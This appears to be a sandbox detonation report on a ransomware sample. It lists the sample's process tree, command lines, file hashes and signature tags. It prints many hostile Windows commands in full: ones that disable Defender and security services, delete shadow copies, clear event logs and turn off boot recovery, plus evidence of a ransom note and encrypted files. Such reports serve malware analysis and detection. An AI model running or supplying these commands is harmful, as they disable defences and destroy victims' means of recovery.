PID 944 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 576 wrote to memory of 776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1300 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 1300 wrote to memory of 992 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1300 wrote to memory of 992 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1300 wrote to memory of 992 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 640 wrote to memory of 1196 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 640 wrote to memory of 1196 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 640 wrote to memory of 1196 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 1996 wrote to memory of 408 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1996 wrote to memory of 408 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1996 wrote to memory of 408 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 2020 wrote to memory of 1432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2020 wrote to memory of 1432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2020 wrote to memory of 1432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 1252 wrote to memory of 1876 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1252 wrote to memory of 1876 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1252 wrote to memory of 1876 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 1068 wrote to memory of 1916 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1068 wrote to memory of 1916 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1068 wrote to memory of 1916 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 944 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\net.exe
PID 1012 wrote to memory of 1624 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1012 wrote to memory of 1624 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1012 wrote to memory of 1624 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 944 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1892 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1892 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1892 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1304 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1304 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1304 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe
PID 944 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\notepad.exe

notepad.exe C:\wPfq_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/576-54-0x0000000000000000-mapping.dmp

memory/776-55-0x0000000000000000-mapping.dmp

memory/1300-56-0x0000000000000000-mapping.dmp

memory/992-57-0x0000000000000000-mapping.dmp

memory/640-58-0x0000000000000000-mapping.dmp

memory/1196-59-0x0000000000000000-mapping.dmp

memory/1996-60-0x0000000000000000-mapping.dmp

memory/408-61-0x0000000000000000-mapping.dmp

memory/2020-62-0x0000000000000000-mapping.dmp

memory/1432-63-0x0000000000000000-mapping.dmp

memory/1252-64-0x0000000000000000-mapping.dmp

memory/1876-65-0x0000000000000000-mapping.dmp

memory/1068-66-0x0000000000000000-mapping.dmp

memory/1916-67-0x0000000000000000-mapping.dmp

memory/1012-68-0x0000000000000000-mapping.dmp

memory/1624-69-0x0000000000000000-mapping.dmp

memory/864-70-0x0000000000000000-mapping.dmp

memory/1892-71-0x0000000000000000-mapping.dmp

memory/1736-72-0x0000000000000000-mapping.dmp

memory/2040-73-0x0000000000000000-mapping.dmp

memory/1304-74-0x0000000000000000-mapping.dmp

memory/1744-75-0x0000000000000000-mapping.dmp

memory/920-76-0x0000000000000000-mapping.dmp

memory/1592-77-0x0000000000000000-mapping.dmp

memory/752-78-0x0000000000000000-mapping.dmp

memory/1716-79-0x0000000000000000-mapping.dmp

memory/776-80-0x0000000000000000-mapping.dmp

memory/904-81-0x0000000000000000-mapping.dmp

memory/1764-82-0x0000000000000000-mapping.dmp

memory/1772-83-0x0000000000000000-mapping.dmp

memory/636-84-0x0000000000000000-mapping.dmp

memory/1432-85-0x0000000000000000-mapping.dmp

memory/800-86-0x0000000000000000-mapping.dmp

memory/968-87-0x0000000000000000-mapping.dmp

memory/1180-88-0x0000000000000000-mapping.dmp

memory/1948-89-0x0000000000000000-mapping.dmp

memory/1700-90-0x0000000000000000-mapping.dmp

memory/1392-91-0x0000000000000000-mapping.dmp

memory/1504-92-0x0000000000000000-mapping.dmp

memory/1412-93-0x0000000000000000-mapping.dmp

memory/1156-94-0x0000000000000000-mapping.dmp

memory/1548-95-0x0000000000000000-mapping.dmp

memory/676-96-0x0000000000000000-mapping.dmp

memory/688-97-0x0000000000000000-mapping.dmp

memory/1964-98-0x0000000000000000-mapping.dmp

memory/1256-99-0x0000000000000000-mapping.dmp

memory/1528-100-0x0000000000000000-mapping.dmp

memory/964-101-0x0000000000000000-mapping.dmp

memory/1624-102-0x0000000000000000-mapping.dmp

memory/1116-103-0x0000000000000000-mapping.dmp

memory/832-104-0x0000000000000000-mapping.dmp

memory/1740-105-0x0000000000000000-mapping.dmp

memory/1944-106-0x0000000000000000-mapping.dmp

memory/1588-107-0x0000000000000000-mapping.dmp

memory/1224-108-0x0000000000000000-mapping.dmp

memory/408-109-0x0000000000000000-mapping.dmp

memory/916-110-0x0000000000000000-mapping.dmp

memory/1768-111-0x0000000000000000-mapping.dmp

memory/1120-112-0x0000000000000000-mapping.dmp

memory/1120-113-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

memory/1136-114-0x0000000000000000-mapping.dmp

memory/1208-116-0x0000000000000000-mapping.dmp

memory/1836-118-0x0000000000000000-mapping.dmp

memory/1756-119-0x0000000000000000-mapping.dmp

memory/1696-120-0x0000000000000000-mapping.dmp

memory/1904-123-0x0000000002620000-0x0000000002622000-memory.dmp

memory/1904-124-0x0000000002622000-0x0000000002624000-memory.dmp

memory/1904-125-0x0000000002624000-0x0000000002627000-memory.dmp

memory/1904-122-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

memory/1904-126-0x000000001B780000-0x000000001BA7F000-memory.dmp

memory/1904-127-0x000000000262B000-0x000000000264A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 f48421645e65afafe8ff3a051e18ee81
SHA1 0be58da0cdd48862918da5a8130e1badea773bc8
SHA256 e255771c63499b3941fdb19d178bcd797a41fb3d8718e8a54aa8db9c381d3f7c
SHA512 17275cd960d7351f237ea8451cece942c3b3b384b995aaa950692f579a677ffc6128c21b4f616cd53a5e2f5ffd418815c59a2da251daeff25a26ca52f1ad0baa

memory/2124-130-0x000007FEF23B0000-0x000007FEF2F0D000-memory.dmp

memory/2124-131-0x000000001B710000-0x000000001BA0F000-memory.dmp

memory/2124-132-0x0000000002510000-0x0000000002512000-memory.dmp

memory/2124-133-0x0000000002512000-0x0000000002514000-memory.dmp

memory/2124-134-0x0000000002514000-0x0000000002517000-memory.dmp

memory/2124-135-0x000000000251B000-0x000000000253A000-memory.dmp

C:\wPfq_HOW_TO_DECRYPT.txt

MD5 3d3aab4fac96343c7e4bf9f111f89193
SHA1 550d2ea76bb0a789e4bfbefef4a899c4fbad254c
SHA256 54643189ee659f0e200ac4eb1ae678f35c016e0905eca63e675dbeadfc2422d8
SHA512 15b065276f0f8acd76c54462a6f71153e0df65a10aff76412bf2582940b46ff64124e2577e320220aa9c0daf1e4d3f5fc5d4d78aee5979e60a10690a702badda

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 14:43

Reported

2022-01-12 14:48

Platform

win10-en-20211208

Max time kernel

137s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\1849_32x32x32.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\es-ES\TipRes.dll.mui C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_EAAAABAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\BooleanMerge.scale-180.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\976_24x24x32.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\sheep.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-execution.xml.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_LAAAACwAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\ScanIcon_contrast-black.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Beach\mask\12c.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\cy_60x42.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\az_16x11.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.targetsize-48_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusinessR_Trial-pl.xrm-ms.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-black_targetsize-20.png C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_Grace-ul-oob.xrm-ms.vEahxNW0Yq6u6rY3kfgy4EHS030wohKYgAi-P2eGrRH_AAAAAAAAAAA0.vl6ia C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\AppxSignature.p7x C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe N/A
